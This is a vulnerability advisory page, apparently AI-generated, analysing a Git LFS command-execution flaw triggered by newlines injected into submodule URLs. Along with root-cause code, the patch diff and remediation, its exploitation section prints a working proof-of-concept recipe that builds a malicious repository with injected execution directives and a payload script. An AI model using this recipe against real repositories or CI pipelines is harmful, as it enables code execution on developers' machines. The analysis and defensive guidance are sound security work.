CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-105802

CVE-2026-105802: Arbitrary Command Execution via Submodule Configuration Injection in Git LFS

Alon Barad
Alon Barad
Software Engineer

Nov 20, 2026·12 min read·1 visit

Executive Summary (TL;DR)

Git LFS prior to 3.8.1 parses `git config -l` output by splitting on newline characters (`\n`). Because Git permits embedded newlines in configuration values such as `submodule.<name>.url`, a malicious `.gitmodules` file can inject arbitrary local repository configuration keys when `git submodule init` is executed. Attackers can override `lfs.customtransfer.<name>.path` or `lfs.extension.<name>.clean` to execute arbitrary binaries shipped inside the repository.

A line delimiter injection vulnerability in Git Large File Storage (Git LFS) versions 0.6.0 through 3.8.0 allows remote attackers to execute arbitrary commands via crafted Git submodule URLs containing embedded line feed characters.

Vulnerability Overview

Git Large File Storage (Git LFS) is an open-source Git extension written in Go that replaces large files in a repository with lightweight text pointers while storing the file contents on a remote server. To coordinate file transfers and pointer conversions, Git LFS relies heavily on Git's native configuration system, reading directives from system, global, local (.git/config), and repository-tracked (.lfsconfig) sources.

Because Git LFS supports extensible architectures—specifically custom transfer adapters and pointer extension filters—certain configuration keys define local executable paths that Git LFS invokes during standard Git operations. To prevent remote repositories from executing arbitrary code upon checkout, Git LFS implements a trust boundary that blocks execution-related configuration directives from being loaded out of repository-tracked .lfsconfig files. Only directives residing in the local .git/config or higher-privilege configuration scopes are trusted to specify executable paths.

CVE-2026-105802 (also tracked as GHSA-xrgv-7vx6-5vx6) is an improper neutralization of line delimiters vulnerability (CWE-144) in the Git LFS configuration parser that allows an attacker to bypass this trust boundary. Affecting all versions of Git LFS from 0.6.0 through 3.8.0, the flaw occurs because Git LFS queries Git configuration values using git config -l without null-byte termination, splitting the standard output stream on newline characters (\n).

When a user initializes submodules in a repository via git submodule init, Git copies the submodule.<name>.url property from the repository-tracked .gitmodules file directly into the trusted local .git/config file. Because Git permits embedded line feed (LF / \x0A) characters inside configuration values, a malicious repository can embed newline-delimited Git LFS execution directives inside a submodule URL. When Git LFS subsequently reads the local configuration during operations like git lfs pull or git add, it interprets the injected lines as independent, trusted configuration settings, resulting in arbitrary code execution.

Root Cause Analysis

The root cause of CVE-2026-105802 lies in an ambiguity between record delimiters and embedded value characters when invoking the git config command-line interface. In standard operation without the -z (--null) flag, git config -l outputs configuration entries as key-value pairs separated by an equals sign (=) and terminated by a line feed (\n). If a configuration value itself contains a multi-line string with embedded line feeds, git config -l prints those line feeds verbatim without escaping or quoting.

In Git LFS, the configuration parser located in git/config.go (ParseConfigEntries) ingested the output of git config -l as a single string. It tokenized this string into individual directives by calling strings.Split(config, "\n"), and then separated each line into a key and value using strings.SplitN(e, "=", 2). This parsing logic assumes that every newline character in the output stream represents the boundary of a new configuration key-value pair.

This assumption breaks down when evaluating how Git handles submodule initialization. While Git restricts .gitmodules from directly defining arbitrary configuration sections or execution hooks (such as core.sshCommand), it allows arbitrary string data inside submodule.<name>.url to support diverse remote transport protocols. When git submodule init executes, Git reads submodule.<name>.url from .gitmodules and writes it into .git/config using proper INI-style escaping (quoting or line-continuation).

However, when Git LFS later invokes git config -l to inspect the local repository configuration, Git unescapes the .git/config entry and emits the raw line feed character to standard output. Any text following the line feed inside the submodule URL that contains an = character is parsed by ParseConfigEntries() as a separate, top-level configuration directive originating from the trusted .git/config source (onlySafeKeys = false).

Once the attacker achieves arbitrary configuration injection into the trusted configuration state, two primary execution sinks in Git LFS can be targeted:

  1. Custom Transfer Adapters (lfs.customtransfer.<name>.path): Git LFS uses transfer adapters to upload and download object payloads. When a repository operates against a file-based remote or standalone transfer mode, Git LFS uses the built-in lfs-standalone-file adapter. By injecting lfs.customtransfer.lfs-standalone-file.path=./payload, an attacker overrides the default handler with a relative path pointing to an executable binary tracked inside the repository working tree.
  2. Pointer Extension Filters (lfs.extension.<name>.clean and lfs.extension.<name>.smudge): Git LFS allows external programs to manipulate files before they are turned into LFS pointers (clean) or restored to the working tree (smudge). By injecting lfs.extension.<name>.clean=<command> along with lfs.extension.<name>.priority=1, an attacker forces Git LFS to execute the specified command whenever a user runs git add on matching files.

Code Analysis

The vulnerability was introduced in the foundational configuration parsing logic of Git LFS (dating back to commit 9f4a8e23653d4c1351a9fef7319a62a9f6d7d837 and expanded in 183bdc8283212403491fbc044af2f4825b61ccc7). In git/config.go, the methods Source(), FileSource(), and RevisionSource() invoked c.gitConfig("-l", ...) and passed the resulting string directly to ParseConfigEntries().

// Vulnerable implementation in git/config.go prior to 3.8.1
func ParseConfigEntries(config string, onlySafeKeys bool) *ConfigurationSource {
	// BUG: Splitting on newline allows multi-line config values to inject new entries
	entries := strings.Split(config, "\n")
 
	source := &ConfigurationSource{
		Entries:      make([]ConfigurationEntry, 0, len(entries)),
		OnlySafeKeys: onlySafeKeys,
	}
 
	for _, e := range entries {
		// BUG: Any injected line containing '=' is split into a valid Key/Value pair
		fields := strings.SplitN(e, "=", 2)
 
		if len(fields) < 2 {
			continue
		}
 
		source.Entries = append(source.Entries, ConfigurationEntry{
			Key:   fields[0],
			Value: fields[1],
		})
	}
 
	return source
}

To remediate the flaw in commits 39b73aa4db821fea6f0da8320128e5e1b919942d and 1b2672aaa29016e8004369df1406d2a73057f45f, the maintainers updated all git config -l invocations to include the -z (--null) flag. When -z is passed to git config -l, Git changes its output format so that entries are delimited by NUL bytes (\x00), and the key is separated from its value by the first newline character (\n) rather than an equals sign:

key1\nvalue1_line1\nvalue1_line2\0key2\nvalue2\0

The patch modifies git/config.go to split entries on \x00 and split the key from the value on the first \n using strings.SplitN(e, "\n", 2):

File: git/config.go
@@ -50,15 +50,15 @@ func NewReadOnlyConfig(workdir, gitdir string) *Configuration {
 }
 
 func ParseConfigEntries(config string, onlySafeKeys bool) *ConfigurationSource {
-	entries := strings.Split(config, "\n")
+	// FIX: Split distinct configuration records on NUL byte instead of newline
+	entries := strings.Split(config, "\x00")
 
 	source := &ConfigurationSource{
 		Entries:      make([]ConfigurationEntry, 0, len(entries)),
 		OnlySafeKeys: onlySafeKeys,
 	}
 
 	for _, e := range entries {
-		fields := strings.SplitN(e, "=", 2)
+		// FIX: Under 'git config -l -z', key and value are separated by the first newline.
+		// Subsequent newlines remain safely inside fields[1] (the value).
+		fields := strings.SplitN(e, "\n", 2)
 
 		if len(fields) < 2 {
 			continue
@@ -212,23 +212,23 @@ func (c *Configuration) FileSource(filename string) (*ConfigurationSource, error
 		return nil, err
 	}
 
-	out, err := c.gitConfig("-l", "-f", filename)
+	out, err := c.gitConfig("-l", "-z", "-f", filename)
 	if err != nil {
 		return nil, err
 	}
 	return ParseConfigEntries(out, true), nil
 }
 
 func (c *Configuration) RevisionSource(revision string) (*ConfigurationSource, error) {
-	out, err := c.gitConfig("-l", "--blob", revision)
+	out, err := c.gitConfig("-l", "-z", "--blob", revision)
 	if err != nil {
 		return nil, err
 	}
 	return ParseConfigEntries(out, true), nil
 }
 
 func (c *Configuration) Source() (*ConfigurationSource, error) {
-	out, err := c.gitConfig("-l")
+	out, err := c.gitConfig("-l", "-z")
 	if err != nil {
 		return nil, err
 	}

> [!NOTE] > Fix Completeness Assessment: The switch to -z (\x00 termination) completely eliminates line delimiter injection across all three configuration loading paths (Source, FileSource, and RevisionSource). Because Git configuration keys and values are strings handled in C by the core git binary, NUL bytes cannot exist inside a configuration value in .gitmodules or .git/config. Furthermore, because strings.SplitN(e, "\n", 2) splits at most once on the first newline, any embedded newlines inside the value are preserved intact within fields[1], preventing variant injection attacks against the configuration parser.

Exploitation

Exploitation of CVE-2026-105802 requires no authentication and targets victims or automated systems (such as CI/CD runners) that clone an attacker-controlled repository, initialize its submodules, and run Git LFS operations. Note that git clone --recurse-submodules or a sequence of git clone, git submodule init, and git lfs pull (or git add) is sufficient to trigger the payload.

The official test suite in commit 39b73aa4db821fea6f0da8320128e5e1b919942d (t/t-submodule-lfsconfig.sh) demonstrates two primary exploitation vectors. In the first vector, the attacker abuses the lfs-standalone-file custom transfer adapter.

Vector 1: Custom Transfer Adapter Injection

First, the attacker constructs a repository containing an executable payload (e.g., adapter on Unix or adapter.bat/adapter.exe on Windows), tracks a dummy file with Git LFS, and crafts a .gitmodules entry with a line feed embedded in the submodule URL:

# 1. Initialize malicious repository and track *.bin with Git LFS
git init evil-repo
cd evil-repo
git lfs track "*.bin"
echo "contents" > test.bin
 
# 2. Create the malicious executable in the repository root
cat << 'EOF' > adapter
#!/bin/sh
id > /tmp/pwned
EOF
chmod +x adapter
 
# 3. Create an initial commit to obtain a valid object ID for the gitlink
git commit --allow-empty -m "initial"
submodule_oid="$(git rev-parse HEAD)"
 
# 4. Craft the submodule URL containing an embedded LF (\n) and the injected LFS directive
injected_url="$(printf 'https://example.com/sub\nlfs.customtransfer.lfs-standalone-file.path=./adapter')"
git config --file .gitmodules submodule.sub.path sub
git config --file .gitmodules submodule.sub.url "$injected_url"
 
# 5. Stage files and register the submodule gitlink (mode 160000) in the index
git add .gitattributes .gitmodules adapter test.bin
git update-index --add --cacheinfo "160000,$submodule_oid,sub"
git commit -m "Add crafted submodule"

When a victim clones this repository and initializes submodules, Git copies the multi-line submodule.sub.url setting into .git/config. Notably, git submodule init succeeds without attempting to contact https://example.com/sub\n..., meaning the network call does not fail prior to configuration persistence. When the victim subsequently runs git lfs pull or git lfs fetch, Git LFS reads .git/config, sees the overridden lfs-standalone-file path, and executes ./adapter directly from the working tree.

Vector 2: Pointer Extension Clean Filter Injection

Alternatively, if the victim environment does not use a standalone file remote (for example, when cloning over HTTPS where the HTTP transfer adapter is selected instead of lfs-standalone-file), the attacker can inject a pointer extension clean filter into .gitmodules:

injected_url="$(printf 'https://example.com/sub\nlfs.extension.sub.clean=./ext-clean %%f\nlfs.extension.sub.priority=1')"
git config --file .gitmodules submodule.sub.path sub
git config --file .gitmodules submodule.sub.url "$injected_url"

Once the victim runs git submodule init followed by git add on any file matched by Git LFS tracking rules, the git-lfs filter-process or git-lfs clean hook parses the injected extension configuration and executes ./ext-clean <filename> with the privileges of the current user.

Impact Assessment

Successful exploitation of CVE-2026-105802 grants an attacker arbitrary command execution in the security context of the user or service account running Git and Git LFS. Because the payload binary or script can be committed directly into the repository's working tree and referenced via a relative path (./adapter), exploitation does not depend on pre-existing binaries on the target system and works reliably across Linux, macOS, and Windows.

The vulnerability is assigned a CVSS v4.0 base score of 8.6 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N. The Attack Vector is Network (AV:N) because malicious repositories are distributed over remote network protocols, and Attack Complexity is Low (AC:L) with no special Attack Requirements (AT:N) or Privileges Required (PR:N). User Interaction is rated Passive (UI:P), reflecting that a developer or automated build pipeline must clone the repository and initialize submodules.

In developer workstation scenarios, an attacker can compromise local SSH keys, cloud provider credentials, and source code across all accessible projects. In enterprise CI/CD environments—where build pipelines routinely execute git submodule update --init followed by git lfs pull on untrusted pull requests or external repositories—exploitation leads to pipeline compromise, theft of deployment secrets, and potential supply chain poisoning of build artifacts.

As of the initial disclosure, CVE-2026-105802 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The Exploit Prediction Scoring System (EPSS) score is 0.00528 (45.61st percentile). While a functional proof-of-concept exists within the official Git LFS test suite (t/t-submodule-lfsconfig.sh), no weaponized exploitation in the wild has been publicly reported.

Remediation

The primary remediation is to upgrade Git LFS to version 3.8.1 or later, which parses Git configuration output using null-byte delimiters (git config -l -z). Because Git LFS is frequently bundled with operating system distributions and Git installers, administrators should apply updates across all relevant package ecosystems:

  • Standalone Git LFS: Download and install v3.8.1 or later from the official GitHub release page.
  • Git for Windows: Upgrade to v2.56.0.windows.3 or later, which bundles Git LFS 3.8.1.
  • macOS (Homebrew): Run brew upgrade git-lfs and verify the installed version with git lfs version.
  • Linux / BSD Distributions: Apply vendor security updates for git-lfs via apt, dnf, zypper, apk, or FreeBSD ports.

If immediate upgrading is not possible in specific environments, organizations should implement defensive controls before initializing submodules in untrusted repositories:

  1. Disable Automatic Submodule Initialization in CI/CD: Configure build pipelines to avoid running git submodule init or git clone --recurse-submodules on unreviewed pull requests from external forks.
  2. Audit .gitmodules for Embedded Line Delimiters: Before running git submodule init, inspect .gitmodules for multi-line values or unexpected lfs. substrings. In Git configuration syntax, embedded newlines in .gitmodules often appear as physical newlines inside quoted strings or using \n escape sequences:
# Inspect parsed .gitmodules output using null-delimited git config to detect multi-line values
git config --file .gitmodules -l -z | awk -v RS='\0' 'gsub(/\n/, "&") > 1 { print "Suspicious multi-line entry:\n" $0 }'
  1. Inspect Existing Local Configurations: For repositories where git submodule init has already been executed, verify .git/config to ensure no unexpected lfs.customtransfer.* or lfs.extension.* directives appear either directly or embedded within submodule.*.url entries.

Official Patches

Git LFSOfficial GitHub Security Advisory for CVE-2026-105802 / GHSA-xrgv-7vx6-5vx6
Git LFSGit LFS v3.8.1 Release Notes
Git for WindowsGit for Windows v2.56.0.windows.3 Release bundling Git LFS v3.8.1
openSUSEopenSUSE Security Announcement for git-lfs
FreeBSDFreeBSD Ports update for devel/git-lfs to 3.8.1

Fix Analysis (2)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
EPSS Probability
0.53%
Top 54% most exploited

Affected Systems

Git Large File Storage (git-lfs) >= 0.6.0, < 3.8.1Git for Windows < v2.56.0.windows.3Linux / BSD distributions packaging git-lfs < 3.8.1 (Alpine, Debian, Ubuntu, RHEL, openSUSE, FreeBSD)

Affected Versions Detail

Product
Affected Versions
Fixed Version
git-lfs
git-lfs
>= 0.6.0, < 3.8.13.8.1
AttributeDetail
Vulnerability TypeLine Delimiter / Configuration Injection (CWE-144)
Affected ComponentGit LFS Configuration Parser (git/config.go)
Attack VectorNetwork / Crafted .gitmodules Submodule URL
CVSS v4.0 Score8.6 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N)
EPSS Score0.53% (45.61st Percentile)
ImpactArbitrary Local Command Execution
Exploit StatusProof-of-Concept in Official Test Suite
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1202Indirect Command Execution
Defense Evasion
T1059.004Command and Scripting Interpreter: Unix Shell
Execution
T1574Hijack Execution Flow
Persistence
T1204.002User Execution: Malicious File
Execution
CWE-144
Improper Neutralization of Line Delimiters

The software receives input that contains line delimiters (such as CR or LF) and fails to neutralize or properly encode them before parsing or passing them into another component, allowing attackers to inject additional records or directives.

Known Exploits & Detection

GitHub (Official Git LFS Test Suite)End-to-end regression test (`t/t-submodule-lfsconfig.sh`) demonstrating configuration injection and executable invocation via `lfs.customtransfer.lfs-standalone-file.path` and `lfs.extension.<name>.clean`.

Vulnerability Timeline

Coordinated security audit and hardening of Git LFS command and delimiter handling initiated.
2026-08-17
Fix commit 39b73aa4db821fea6f0da8320128e5e1b919942d authored by Chris Darroch and co-authored by Aniket Gupta.
2026-09-29
Git LFS v3.8.1 released alongside GitHub Security Advisory GHSA-xrgv-7vx6-5vx6 and CVE-2026-105802 publication.
2026-11-19
EPSS scores calculated and cataloged by FIRST.org.
2026-11-20

References & Sources

  • [1]GitHub Security Advisory GHSA-xrgv-7vx6-5vx6
  • [2]Git LFS Fix Commit 39b73aa4db821fea6f0da8320128e5e1b919942d
  • [3]Git LFS Fix Commit 1b2672aaa29016e8004369df1406d2a73057f45f
  • [4]Git LFS v3.8.1 Release
  • [5]NVD - CVE-2026-105802
  • [6]CVE.org Record - CVE-2026-105802
  • [7]CVE List V5 JSON Record - CVE-2026-105802
  • [8]Wiz Vulnerability Database - CVE-2026-105802
  • [9]Git for Windows v2.56.0.windows.3 Release
  • [10]openSUSE Security Announce - git-lfs
  • [11]FreeBSD Ports - devel/git-lfs 3.8.1
Related Vulnerabilities
CVE-2026-69260CVE-2026-69261CVE-2026-105803

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-105803
8.6

CVE-2026-105803: Arbitrary Command Execution via .lfsconfig Parsing in Git LFS

CVE-2026-105803 (GHSA-x72p-hmqp-46hw) is a high-severity arbitrary command execution vulnerability in Git Large File Storage (Git LFS) affecting versions from v1.3.0 prior to v3.8.1. The flaw stems from the combination of an unanchored regular expression in custom transfer adapter initialization (CWE-777) and insufficient syntactic validation during .lfsconfig key filtering (CWE-1286). An attacker can craft a repository containing a malicious .lfsconfig file that bypasses safe-key filtering restrictions and registers an arbitrary binary as a custom transfer adapter, leading to remote code execution when a victim clones or fetches from the repository.

Alon Barad
Alon Barad
4 views•10 min read
•about 3 hours ago•CVE-2026-77367
9.4

CVE-2026-77367: Unauthenticated SQL Injection in Daptin Entity Listing Endpoints

An unauthenticated SQL injection vulnerability exists in Daptin prior to version 0.12.30. The generic entity listing handler fails to validate user-supplied sort parameters against the table schema before passing them to the goqu SQL query builder, enabling remote attackers to break out of SQL identifier quoting and execute arbitrary SQL subqueries.

Alon Barad
Alon Barad
5 views•9 min read
•about 4 hours ago•CVE-2026-77369
9.6

CVE-2026-77369: Broken Access Control in Daptin YJS Collaboration Endpoint

CVE-2026-77369 is a broken access control and Insecure Direct Object Reference (IDOR) vulnerability in Daptin, an open-source headless CMS. Affected versions from 0.11.4 through 0.12.29 expose a generic YJS real-time collaboration WebSocket endpoint (`GET /yjs/:documentName`) that verifies user authentication but fails to enforce row-level authorization when supplied with a canonical database room identifier (`{typename}.{referenceId}.{columnName}`). This allows any low-privileged authenticated user to read or modify restricted database columns of type `file.*` across all entities.

Alon Barad
Alon Barad
4 views•9 min read
•about 5 hours ago•CVE-2026-77376
6.1

CVE-2026-77376: Open Redirect in Bolt CMS LoginFormAuthenticator

CVE-2026-77376 is an open redirect vulnerability (CWE-601) in the core framework of Bolt CMS prior to version 6.1.4. The vulnerability resides within the LoginFormAuthenticator class, which processes post-authentication redirection for both successful and failed login attempts. Due to a lack of destination validation, the application accepts untrusted target paths from user sessions and directly reflects unvalidated HTTP Referer headers into HTTP Location response headers. Attackers can exploit this behavior to redirect users to arbitrary external domains after interacting with the Bolt login endpoint, facilitating credential harvesting and phishing attacks.

Amit Schendel
Amit Schendel
4 views•9 min read
•about 6 hours ago•CVE-2026-77377
5.2

CVE-2026-77377: Authenticated Server-Side Request Forgery in Bolt CMS Backend Asynchronous Endpoints

Bolt CMS (bolt/core) versions prior to 6.1.4 contain a Server-Side Request Forgery (SSRF) vulnerability in the authenticated URL-upload (/async/upload-url) and media embed (/async/embed) endpoints. Backend users with file upload or media embedding privileges can supply arbitrary URLs that the application fetches without destination IP validation. This allows authenticated attackers to force the server to initiate HTTP requests to loopback interfaces, RFC 1918 private networks, and cloud instance metadata services.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 7 hours ago•CVE-2026-77379
5.3

CVE-2026-77379: Information Disclosure in Bolt CMS Public Relation API

Bolt CMS prior to version 6.1.4 contains an information disclosure vulnerability in its public Relation API endpoints. The Doctrine ORM query extension (ContentExtension) fails to filter out unpublished, draft, or viewless content when querying the Relation entity. Because the Relation resource is configured with public read access (PUBLIC_ACCESS) via API Platform REST and GraphQL endpoints, unauthenticated remote attackers can enumerate relationship graphs, entity identifiers, and metadata associated with private content.

Alon Barad
Alon Barad
3 views•9 min read